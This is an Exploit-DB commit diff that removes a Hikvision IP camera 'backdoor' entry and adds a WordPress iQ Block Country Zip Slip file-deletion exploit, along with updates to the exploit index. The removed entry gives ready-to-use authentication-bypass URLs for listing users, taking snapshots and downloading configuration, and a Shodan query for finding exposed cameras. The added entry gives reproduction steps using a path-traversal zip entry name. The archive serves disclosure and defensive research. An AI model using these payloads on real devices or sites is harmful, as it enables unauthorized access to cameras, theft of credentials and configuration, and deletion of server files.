DB: 2022-03-22
3 changes to exploits/shellcodes Hikvision IP Camera - Backdoor Wordpress Plugin iQ Block Country 1.2.13 - Arbitrary File Deletion via Zip Slip (Authenticated)
This commit is contained in:
Offensive Security
parent
12a90d7198
commit
62c4c0421c
3 changed files with 30 additions and 22 deletions
|
|
@ -1,21 +0,0 @@
|
|||
# Exploit Title: Hikvision IP Camera - Backdoor
|
||||
# Date: 14/03/2022
|
||||
# Exploit Author: Sobhan Mahmoodi
|
||||
# Reference: https://ipvm.com/reports/hik-exploit
|
||||
# GitHub: https://github.com/bp2008/HikPasswordHelper/
|
||||
|
||||
Hikvision included a magic string that allowed instant access to any camera, regardless of what the admin password was. All that needed was appending this string to Hikvision camera commands: (?auth=YWRtaW46MTEK)
|
||||
|
||||
# Proof of Concept:
|
||||
|
||||
Retrieve a list of all users and their roles:
|
||||
- http://camera.ip/Security/users?auth=YWRtaW46MTEK
|
||||
|
||||
Obtain a camera snapshot without authentication:
|
||||
- http://camera.ip/onvif-http/snapshot?auth=YWRtaW46MTEK
|
||||
|
||||
Download camera configuration:
|
||||
- http://camera.ip/System/configurationFile?auth=YWRtaW46MTEK
|
||||
|
||||
Shodan link to monitor :
|
||||
https://www.shodan.io/search?query=%22App-webs%22+%22200+OK%22
|
||||
29
exploits/php/webapps/50830.txt
Normal file
29
exploits/php/webapps/50830.txt
Normal file
|
|
@ -0,0 +1,29 @@
|
|||
# Exploit Title: Wordpress Plugin iQ Block Country 1.2.13 - Arbitrary File Deletion via Zip Slip (Authenticated)
|
||||
# Date: 02-17-2022
|
||||
# Exploit Author: Ceylan Bozoğullarından
|
||||
# Blog Post: https://bozogullarindan.com/en/2022/01/wordpress-iq-block-country-1.2.13-admin-arbitray-file-deletion-via-zip-slip/
|
||||
# Software Link: https://en-gb.wordpress.org/plugins/iq-block-country/
|
||||
# Version: 1.2.12
|
||||
# Tested on: Linux
|
||||
# CVE: CVE-2022-0246 (https://wpscan.com/vulnerability/892802b1-26e2-4ce1-be6f-71ce29687776)
|
||||
|
||||
|
||||
# Description:
|
||||
|
||||
iQ Block Country is a Wordpress plugin that allows you to limit access to your website content. It can allow or disallow visitors from defined countries to (parts of) the content of the website.
|
||||
|
||||
The settings of the plugin can be exported or imported using its backup functionality. An authorized user can import preconfigured settings of the plugin by uploading a zip file. After the uploading process, files in the uploaded zip file are extracted one by one. During the extraction process, existence of a file is checked. If the file exists, it is deleted without any security control by only considering the name of the extracted file. This behavior leads to “Zip Slip” vulnerability.
|
||||
|
||||
Zip Slip can cause damage by overwriting configuration files or other sensitive resources. In this finding, An attacker can exploit this vulnerability and the behavior of the extraction process, to delete an arbitrary file in the server. For doing this, it is enough to upload a zip file containing a file that is named as the path of a file which is desired to be deleted.
|
||||
|
||||
The details of the discovery are given below.
|
||||
|
||||
# Steps To Reproduce:
|
||||
|
||||
1. Install and activate the iQ Block Country plugin.
|
||||
2. Create a test file in the vulnerable system: (e.g. /var/www/html/test.txt)
|
||||
3. Create a zip file containing a file named as ../../../../test.txt. Absolute path at the end of this process will be: /var/www/html/wp-content/uploads/2022/01/../../../../test.txt
|
||||
4. Go back to the Wordpress, visit Settings > iQ Block Country > Import/Export tab.
|
||||
5. Click the “Browse” button and choose the zip file which is created in the Step 3.
|
||||
6. Click the “Restore settings” button.
|
||||
7. “Invalid file” message will be appeared but nevermind the message. Check whether the test.txt file is deleted or not.
|
||||
|
|
@ -18649,7 +18649,6 @@ id,file,description,date,author,type,platform,port
|
|||
50798,exploits/windows/remote/50798.cs,"Printix Client 1.3.1106.0 - Remote Code Execution (RCE)",1970-01-01,"Logan Latvala",remote,windows,
|
||||
50821,exploits/hardware/remote/50821.py,"Seowon SLR-120 Router - Remote Code Execution (Unauthenticated)",1970-01-01,"Aryan Chehreghani",remote,hardware,
|
||||
50822,exploits/multiple/remote/50822.txt,"Tdarr 2.00.15 - Command Injection",1970-01-01,"Sam Smith",remote,multiple,
|
||||
50827,exploits/hardware/remote/50827.txt,"Hikvision IP Camera - Backdoor",1970-01-01,"Sobhan Mahmoodi",remote,hardware,
|
||||
50829,exploits/multiple/remote/50829.py,"Apache APISIX 2.12.1 - Remote Code Execution (RCE)",1970-01-01,Ven3xy,remote,multiple,
|
||||
6,exploits/php/webapps/6.php,"WordPress Core 2.0.2 - 'cache' Remote Shell Injection",1970-01-01,rgod,webapps,php,
|
||||
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",1970-01-01,"Rick Patel",webapps,php,
|
||||
|
|
@ -44898,3 +44897,4 @@ id,file,description,date,author,type,platform,port
|
|||
50825,exploits/php/webapps/50825.py,"Moodle 3.11.5 - SQLi (Authenticated)",1970-01-01,"Chris Anastasio",webapps,php,
|
||||
50826,exploits/php/webapps/50826.py,"Pluck CMS 4.7.16 - Remote Code Execution (RCE) (Authenticated)",1970-01-01,"Ashish Koli",webapps,php,
|
||||
50828,exploits/php/webapps/50828.sh,"Tiny File Manager 2.4.6 - Remote Code Execution (RCE)",1970-01-01,"FEBIN MON SAJI",webapps,php,
|
||||
50830,exploits/php/webapps/50830.txt,"Wordpress Plugin iQ Block Country 1.2.13 - Arbitrary File Deletion via Zip Slip (Authenticated)",1970-01-01,"Ceylan BOZOĞULLARINDAN",webapps,php,
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue